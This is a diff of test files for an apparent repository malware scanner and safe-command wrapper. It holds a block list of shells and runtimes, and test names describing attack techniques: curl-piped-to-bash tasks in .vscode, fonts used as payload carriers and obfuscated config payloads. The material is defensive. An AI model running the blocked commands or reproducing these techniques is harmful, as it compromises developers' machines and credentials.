owner: "RMSoft-ltd",
});
});
+52
View File
@@ -0,0 +1,52 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import os from "node:os";
import { assertAllowed, CommandNotAllowedError, safeExec, buildGitArgs } from "../src/safe-exec.js";
test("rejects non-allowlisted commands (no node/bash/sh/npm/etc.)", () => {
for (const cmd of ["node", "nodejs", "bash", "sh", "zsh", "npm", "npx", "yarn", "pnpm", "deno", "bun", "python", "env"]) {
assert.throws(() => assertAllowed(cmd, ["-e", "payload"]), CommandNotAllowedError, cmd);
}
});
test("rejects path-bearing commands", () => {
assert.throws(() => assertAllowed("/usr/bin/git", ["status"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("./git", ["status"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("git\\..\\node", ["x"]), CommandNotAllowedError);
});
test("rejects disallowed subcommands for git and gh", () => {
assert.throws(() => assertAllowed("git", ["daemon"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("git", ["-C", "/x", "for-each-ref"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("gh", ["auth", "token"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("gh", []), CommandNotAllowedError);
});
test("allows expected subcommands, skipping leading -C/-c value options", () => {
assert.deepEqual(assertAllowed("git", ["-C", "/x", "commit", "-m", "y"]), { cmd: "git", sub: "commit" });
assert.deepEqual(assertAllowed("git", ["-c", "core.hooksPath=/dev/null", "clone", "url", "d"]), {
cmd: "git",
sub: "clone",
});
assert.deepEqual(assertAllowed("gh", ["api", "orgs/x/repos"]), { cmd: "gh", sub: "api" });
assert.deepEqual(assertAllowed("gh", ["pr", "create"]), { cmd: "gh", sub: "pr" });
});
test("safeExec throws synchronously (not a rejected promise) on a violation", () => {
assert.throws(() => safeExec("node", ["-e", "1"]), CommandNotAllowedError);
});
test("buildGitArgs disables hooks and adds --no-verify to commit/push only", () => {
const commit = buildGitArgs(["-C", "/x", "commit", "-m", "msg"]);
assert.equal(commit[0], "-c");
assert.ok(commit[1] === `core.hooksPath=${os.devNull}`);
assert.ok(commit.includes("--no-verify"));
const push = buildGitArgs(["-C", "/x", "push", "url", "branch"]);
assert.ok(push.includes("--no-verify"));
const clone = buildGitArgs(["clone", "--depth=1", "url", "d"]);
assert.ok(!clone.includes("--no-verify"), "clone must not get --no-verify");
assert.equal(clone[0], "-c");
assert.ok(clone[1].startsWith("core.hooksPath="));
});
+33
View File
@@ -0,0 +1,33 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { execa } from "execa";
import { fileURLToPath } from "node:url";
const probe = fileURLToPath(new URL("./_safety-probe.mjs", import.meta.url));
const entry = fileURLToPath(new URL("../src/index.js", import.meta.url));
test("Layer 3 in-code guards block eval / Function / vm / process.binding", async () => {
const r = await execa(process.execPath, [probe], { reject: false });
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
assert.match(r.stdout, /safety-probe OK/);
});
test("Layer 2 V8 flag also blocks codegen (defense in depth)", async () => {
const r = await execa(process.execPath, ["--disallow-code-generation-from-strings", probe], {
reject: false,
});
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
});
test("orchestrator imports cleanly under the hardening flag (dependency canary)", async () => {
// Import index.js (without running main) under the flag. If execa/chalk/ora or
// any transitive dep needs eval/new Function at import time, this exits non-zero.
const code = `await import(${JSON.stringify(entry)}); console.log("import OK");`;
const r = await execa(
process.execPath,
["--disallow-code-generation-from-strings", "--input-type=module", "-e", code],
{ reject: false },
);
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
assert.match(r.stdout, /import OK/);
});
+229
View File
@@ -0,0 +1,229 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import { scanRepo } from "../src/scanner.js";
import {
makeRepo,
cleanupAll,
LEGIT_CONFIG,
LEGIT_TASKS,
LEGIT_LAUNCH,
INFECTED_TASKS,
INFECTED_TASKS_NODE,
ORIGINAL_PAYLOAD,
ROTATED_PAYLOAD,
GENERIC_PAYLOAD,
infectedConfig,
goodFont,
evilFont,
validSfnt,
} from "./helpers.js";
after(cleanupAll);
const byId = (findings, id) => findings.findings.find((f) => f.id === id);
test("clean repo → severity clean, zero findings", async () => {
// A normal repo with legit VS Code tasks + referenced fonts (but not the full
// tasks+launch+fonts malware triad) must come back completely clean.
const repo = await makeRepo({
"postcss.config.js": LEGIT_CONFIG,
"src/App.jsx": `export default function App(){ return null; }\n`,
".vscode/tasks.json": LEGIT_TASKS,
"public/fonts/inter.woff2": goodFont(),
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
"package.json": JSON.stringify({ name: "x", dependencies: { react: "^18" } }),
".gitignore": ".env\nnode_modules\n",
});
const f = await scanRepo(repo);
assert.equal(f.severity, "clean");
assert.equal(f.findings.length, 0);
assert.equal(f.hasContentConfirmed, false);
assert.equal(f.coPresenceAmplified, false);
});
test("original variant payload → confirmed strip finding, infected", async () => {
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
const f = await scanRepo(repo);
assert.equal(f.severity, "infected");
const finding = byId(f, "js.payload.original");
assert.ok(finding, "expected original-variant finding");
assert.equal(finding.action, "strip-js-payload");
assert.equal(finding.contentConfirmed, true);
assert.ok(finding.edit.offset > 0);
});
test("rotated variant payload → confirmed strip finding", async () => {
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
const f = await scanRepo(repo);
const finding = byId(f, "js.payload.rotated");
assert.ok(finding, "expected rotated-variant finding");
assert.equal(finding.action, "strip-js-payload");
assert.equal(finding.contentConfirmed, true);
});
test("generic obfuscation → manual-review only, suspicious (not infected)", async () => {
const repo = await makeRepo({ "src/App.js": infectedConfig(GENERIC_PAYLOAD) });
const f = await scanRepo(repo);
const finding = byId(f, "js.payload.heuristic");
assert.ok(finding, "expected heuristic finding");
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, false);
assert.equal(f.severity, "suspicious");
assert.equal(f.hasContentConfirmed, false);
});
test("malicious .vscode (curl|bash C2 task) → whole-dir remove finding", async () => {
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS, ".vscode/settings.json": "{}" });
const f = await scanRepo(repo);
const finding = byId(f, "vscode.malicious");
assert.ok(finding, "expected vscode finding");
assert.equal(finding.action, "remove-dir");
assert.equal(finding.contentConfirmed, true);
assert.match(finding.edit.absPath, /\.vscode$/);
assert.equal(f.severity, "infected");
});
test("malicious .vscode (node executes a font on folderOpen) → detected", async () => {
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS_NODE });
const f = await scanRepo(repo);
const finding = byId(f, "vscode.malicious");
assert.ok(finding, "the node-runs-a-font task must be detected");
assert.equal(finding.action, "remove-dir");
assert.equal(f.severity, "infected");
});
test("carrier + referenced clean font in public/fonts → remove-font-set preserves the clean font", async () => {
const repo = await makeRepo({
"public/fonts/evil.woff2": evilFont(),
"public/fonts/good.woff2": goodFont(),
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
});
const f = await scanRepo(repo);
const fontFindings = f.findings.filter((x) => x.category === "font");
assert.equal(fontFindings.length, 1);
assert.equal(fontFindings[0].action, "remove-font-set");
assert.equal(f.severity, "infected");
const removed = fontFindings[0].edit.removals.map((r) => r.rel);
assert.ok(removed.some((p) => /evil\.woff2$/.test(p)), "evil font removed");
assert.ok(!removed.some((p) => /good\.woff2$/.test(p)), "referenced clean font preserved");
});
test("infected fa font in a mixed dir → remove infected + fa-set + README, keep clean non-fa fonts", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-400.woff2": evilFont(), // JS carrier disguised as Font Awesome
"public/fonts/fa-brands-400.woff2": goodFont(), // clean FA sibling (still removed)
"public/fonts/fa-regular-400.ttf": validSfnt(), // clean FA sibling (still removed)
"public/fonts/README.md": "# Font Awesome",
"public/fonts/gill-sans/GillSans-Bold.otf": validSfnt("Copyright"), // clean, NOT fa → keep
"public/fonts/gill-sans/README.md": "# Gill Sans license", // nested legit README → keep
});
const f = await scanRepo(repo);
assert.equal(f.severity, "infected");
const finding = byId(f, "font.carrier-set");
assert.ok(finding, "expected remove-font-set finding");
assert.equal(finding.action, "remove-font-set");
assert.equal(finding.contentConfirmed, true);
const removed = finding.edit.removals.map((r) => r.rel);
assert.equal(removed.length, 4, JSON.stringify(removed));
for (const name of ["fa-solid-400.woff2", "fa-brands-400.woff2", "fa-regular-400.ttf", "README.md"]) {
assert.ok(removed.some((p) => p.endsWith(name)), `${name} should be removed`);
}
// The nested clean subdir — including its own README — must be untouched.
assert.ok(!removed.some((p) => p.includes("gill-sans")), "gill-sans must be preserved");
});
test("referenced file that is a JS payload (not a valid font) → manual review, never auto-deleted", async () => {
const repo = await makeRepo({
"public/fonts/webfont.woff2": evilFont(), // JS payload, but wired into the build
"src/app.js": `import "./public/fonts/webfont.woff2";`,
});
const f = await scanRepo(repo);
const finding = byId(f, "font.referenced-carrier");
assert.ok(finding, "referenced carrier must be surfaced, not silently trusted");
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, false);
assert.equal(f.severity, "suspicious");
const autoRemoved = ["delete-font", "remove-font-set", "remove-dir"];
assert.ok(
!f.findings.some((x) => autoRemoved.includes(x.action)),
"a referenced file must never be auto-deleted",
);
});
test("dir of only infected + fa-set + README → whole-dir removal", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-400.woff2": evilFont(),
"public/fonts/fa-brands-400.woff2": goodFont(),
"public/fonts/README.md": "# FA",
});
const f = await scanRepo(repo);
assert.equal(f.severity, "infected");
const finding = byId(f, "font.carrier-dir");
assert.ok(finding, "expected whole-dir removal");
assert.equal(finding.action, "remove-dir");
assert.match(finding.edit.absPath, /public[\\/]fonts$/);
});
test("valid fa-named fonts, no payload → medium (suspicious) manual review, no removal", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-900.woff2": goodFont(),
"public/fonts/fa-brands-400.ttf": validSfnt(),
});
const f = await scanRepo(repo);
assert.equal(f.severity, "suspicious");
assert.equal(f.hasContentConfirmed, false);
const finding = byId(f, "font.review");
assert.ok(finding, "expected fa manual-review finding");
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, false);
});
test("unreferenced but structurally valid non-fa fonts → clean, no findings", async () => {
const repo = await makeRepo({
"public/fonts/inter.woff2": goodFont(),
"public/fonts/roboto.otf": validSfnt("Copyright"),
});
const f = await scanRepo(repo);
assert.equal(f.severity, "clean");
assert.equal(f.findings.filter((x) => x.category === "font").length, 0);
});
test("artifacts + injected .gitignore lines detected", async () => {
const repo = await makeRepo({
"temp_auto_push.bat": "echo malware",
"config.bat": "echo orchestrator",
"branch_structure.json": "{}",
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\nbranch_structure.json\n",
});
const f = await scanRepo(repo);
assert.ok(byId(f, "artifact.temp_auto_push.bat"));
assert.ok(byId(f, "artifact.config.bat"));
assert.ok(byId(f, "artifact.branch_structure.json"));
assert.ok(byId(f, "gitignore.injected"));
assert.equal(f.severity, "infected");
});
test("impostor dependency flagged for manual review (confirmed)", async () => {
const repo = await makeRepo({
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-mainanimation": "1.0.0" } }),
});
const f = await scanRepo(repo);
const finding = byId(f, "package.impostor-deps");
assert.ok(finding);
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, true);
assert.equal(f.severity, "infected");
});
test("co-presence raises severity but does not mark infected without payload", async () => {
const repo = await makeRepo({
".vscode/tasks.json": LEGIT_TASKS,
".vscode/launch.json": LEGIT_LAUNCH,
"public/fonts/inter.woff2": goodFont(),
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
});
const f = await scanRepo(repo);
assert.equal(f.coPresenceAmplified, true);
assert.equal(f.hasContentConfirmed, false);
assert.equal(f.severity, "suspicious");
});